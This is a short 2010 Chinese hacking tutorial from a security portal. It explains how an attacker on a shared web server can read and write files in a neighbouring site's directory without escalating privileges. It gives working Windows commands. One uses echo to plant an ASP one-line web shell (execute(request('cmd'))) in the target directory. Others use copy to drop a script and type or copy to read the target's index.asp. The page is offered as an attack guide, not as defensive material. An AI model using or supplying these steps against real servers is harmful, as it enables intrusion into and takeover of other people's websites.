频道栏目
首页 > 安全 > 网站安全 > 正文

一些跨目录的方法总结

2010-11-27 10:03:09           
收藏   我要投稿

很多同学旁注的时候发现不能直跳转到目标目录后就想到了提权,然而,对我等菜鸟来说,提权现在是越来越难。很多时候,其实不一定要提权,我们可以想想其它方法。这里简单介绍旁注时比较有用的跨目录读写文件。

1、跨目录写文件。
很多时候,我们不能直接跳转浏览目标目录,这时候就可以尝试直接写文件到目标目录了 。这里就要求我们要有执行命令的权限了,方法是用echo或copy命令:echo ^<%execute(request("cmd"))%^> >>X:目标目录\X.asp 或者::copy 脚本文件 X:目标目录\X.asp 。

2、跨目录读文件。
如果还是上面的情况,不过这次多了个限制,直接写文件如果不成功怎么办呢?既然不能写,我们还可以试试读。这里一般也是用到两个命令:type和copy。方法:type X:目标目录\ index.asp(假设index.asp存在)直接读取或者copy X:目标目录\ index.asp X:当前可写目录\index.txt 然后再通过index.txt间接读取

相关TAG标签 目录 方法
上一篇:phpBB includes/message_parser.php HTML代码注入漏洞及修复
下一篇:织梦DEDECMS补丁后的getshell
相关文章
图文推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站